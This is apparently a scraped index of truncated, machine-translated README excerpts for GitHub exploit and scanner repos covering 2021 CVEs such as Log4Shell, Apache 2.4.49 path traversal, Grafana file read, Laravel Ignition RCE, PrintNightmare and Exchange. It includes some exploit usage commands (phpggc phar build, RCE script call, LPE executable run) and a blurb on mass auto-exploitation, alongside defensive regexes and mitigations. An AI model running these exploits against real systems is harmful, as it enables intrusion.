typehub-exploiter

typehub-exploiter GILANG - CVE-2021-25094 のエクスプロイター 参照 : https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ ペイロード : site.com/wp-admin/admin-ajax.php バグのパス : site.com/wp-content/uploads/typehub/custom/ 感謝 : Ibnudz, Dark clown security 挨拶 : Garuda Tersakti 72. Buitenzorg...

apache-vulnerable

Apacheバージョン「ゼロデイ」のスキャン Apache Version 2.4.49 and 2.4.50 CVE-2021-41773 and CVE-2021-42013 使用方法 : Nucleiが必要です！ https://github.com/projectdiscovery/nuclei ローカルのNucleiインストールを確認し、テンプレートを検証してください nuclei -t apache-vulnerable-versions.yaml -vv および nuclei -t apache-path-traversal-rce-v2.yaml -vv...

Mybb-XSS_SQL_RCE-POC

Mybb-XSSSQLRCE-POC Mybbに関連するCVE-2021-27890 & CVE-2021-27889をRCE PoCに 使用前: ここに2つのファイルがあります: 1.js と attacklisten.py これらの2つのファイルを修正してください: 1.js: mybbフォーラムのURLと攻撃URLを修正してください: root@kitploit: var bashurl = 'http://192.168.92.164/mybb/mybb-mybb1825' mybb forum url var attackurl =...

poc-CVE-2021-44521

このリポジトリには README がありません。...

CVE-2021-26855-exploit-Exchange

CVE-2021-26855 exploit-Exchange 世界中を自動スキャンし、RCEを自動で悪用 作者: EOG Team...

CVE-2021-3560

CVE-2021-3560 Polkit - ローカル権限昇格 GitHub Security Lab の kevinbackhouse による最初の発見 参考文献 https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/ https://www.youtube.com/watch?v=QZhz64yEd0g https://ubuntu.com/security/CVE-2021-3560 ブログ...

test-44228

test-44228 针对 CVE-2021-44228 的简单示例 实现了两个 Java CLI 程序，一个使用 log4j v1.x，另一个使用 log4j 2.x，用以演示 log4shell 漏洞。 另请参阅： https://www.lunasec.io/docs/blog/log4j-zero-day/ https://www.oracle.com/security-alerts/alert-cve-2021-44228.html 使用方法 存在漏洞的 Log4J2 1. 在某个服务器（localhost 或远程）上启动监听器，例如： root@kitploit: $ sud...

log4shell-rex

Log4Shell-Rex 以下の正規表現は、Log4Shell（CVE-2021-44228 および CVE-2021-45046）の悪用を示す指標を照合するために作成されました。 2021/12/21 より前のバージョンを実行している場合は、テストとアップデートを強く推奨します。 いくつかの不具合を除去し、パフォーマンスを向上させました。 この正規表現は PCRE 互換であることを目指していますが、re2 やその他の正規表現エンジンでも動作するはずです。 正規表現: regex...

exploit-grafana-CVE-2021-43798

CVE-2021-43798 – Grafana エクスプロイト 概要 これは、Grafanaの未承認任意ファイル読み取り脆弱性（CVE-2021-43798）に対する概念実証エクスプロイトです。 この脆弱性はGrafana 8.0.0-beta1 to 8.3.0に影響します。 Shodanのデータによると、オンライン上に公開されているGrafanaサーバーは2,000強であり、その大半は米国と欧州に存在しています。下図を参照してください。 詳細情報:...

Printnightmare

Printnightmare 针对 PrintNightmare CVE-2021-34527 的修复 以管理员身份运行 disable-spooler.ps1 文件以禁用打印后台处理程序（spooler） root@kitploit: powershell.exe -executionpolicy bypass -file .\disable-spooler.ps1 如需批量禁用，请创建一个包含所有服务器名称的服务器列表（例如 serverlist.txt），然后以管理员身份运行 disable-spooler.cmd 文件，即可在所有服务器上禁用打印后台处理程序...

cve-2021-41773-nse

cve-2021-41773-nse By George Labrin @creadpag N|Solid サーバーがApache 2.4.49のCVE-2021-41773に対して脆弱かどうかをチェックします。 POC お好みのターミナルを開いて、以下のコマンドを実行してください。 最初のタブ: root@kitploit: mv cve-2021-41773.nse /usr/share/nmap/scripts/ 2番目のタブ: root@kitploit: sudo nmap -Pn --script=cve-2021-41773.nse X.X.X.X -p X...

ScannerCVE-2021-3156

ScannerCVE-2021-3156 ホストのリストをスキャンして、CVE-2021-3156 に対して脆弱かどうかを確認できるスクリプトです。脆弱でない場合、出力は次のようになります: sudoedit: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper sudoedit: se requiere una contraseña...

CVE-2021-24145

CVE-2021-24145 WordPress ファイルアップロード脆弱性、Modern Events Calendar Lite WordPress プラグイン 5.16.5 未満 https://nvd.nist.gov/vuln/detail/CVE-2021-24145 インストールと実行手順 1. WordPress のインストール インストールを進める際、docker-compose.yml ファイルでポートフォワーディングを行ってください。 root@kitploit: $ docker-compose up 2. WordPress 初期設定 & プラグインインストール...

CVE-2021-26855

此存储库没有 README。...

system_bt_AOSP10_r33_CVE-2021-0507

Fluoride 蓝牙协议栈 在 AOSP 上构建和运行 直接构建 AOSP——Fluoride 已默认包含在内。 在 Linux 上构建和运行 适用于 Ubuntu 的说明，已在 14.04 + Clang 3.5.0 和 16.10 + Clang 3.8.0 上测试通过 下载源码 root@kitploit: mkdir /fluoride cd /fluoride git clone https://android.googlesource.com/platform/system/bt 安装依赖项（需要 sudo 权限）： root@kitploit: cd /fluoride/...

log4j-shell-csw

Log4j シンプルなエクスプロイト CVE-2021-44228 脆弱性に対する概念実証エクスプロイト。 Log4j はセキュリティおよびパフォーマンス情報のログ記録に使用され、Java を使用する様々なコンシューマーおよびエンタープライズサービス、ウェブサイト、アプリケーション、さらには医療機器やサポートシステムにわたる30億以上のデバイスに影響を与えます。 注記: これは「ポイントアンドクリック」のエクスプロイトではありません。初期トリガーペイロードは生成されますが、それを適切な場所（HTTP ヘッダー/チャット/等）に注入するのはユーザーの責任です。 前提条件 python3 p...

CVE-2021-1675-LPE-EXP

CVE-2021-1675-LPE-EXP CVE-2021-1675 のシンプルなLPEエクスプロイト 使用方法 root@kitploit: CVE-2021-1675-LPE.exe C:\test\MyPigDLL.dll MyPigDLL.dll はテスト用DLLで、成功すると C:\test.txt を作成します。 注意事項 1. EnumPrinterDriversW を追加して pDriverPath を取得するため、毎回 "ハードコードされたドライバパス" を変更する必要がなくなりました。 2. RPC や SMB を使用する必要はなく、このエクスプロイトは指定した D...

Log4j2-CVE-2021-44228

CVE-2021-44228 Log4j におけるリモートコードインジェクション https://twitter.com/jas502n/status/1468946197629272066 SpringBoot-pom.xml デフォルト使用 : root@kitploit: org.springframework.boot spring-boot-starter-log4j2 xml org.springframework.boot spring-boot-starter-web mvn dependency:tree java INFO | | +-...

damn-vulnerable-log4j-app

SnapAttack Log4j / CVE-2021-44228 / log4shell 资源 包含什么？ 该死的易受攻击的 Log4j 应用（Damn Vulnerable Log4j App） damn-vulnerable-log4j-app 包含一个基本的易受攻击的 Java Servlet，它使用 log4j 记录 User Agent、HTTP GET 和 POST 参数。它被打包为 .war 文件，可以部署到 Tomcat 等服务器上。有关更多信息，请参阅 README。 攻击工件 attack-artifacts 包含示例 EDR、系统和应用程序日志，以及针对...

laravel-exploits

laravel-exploits 针对 CVE-2021-3129 的漏洞利用 详情：https://www.ambionics.io/blog/laravel-debug-rce 用法 root@kitploit: $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar Log file:...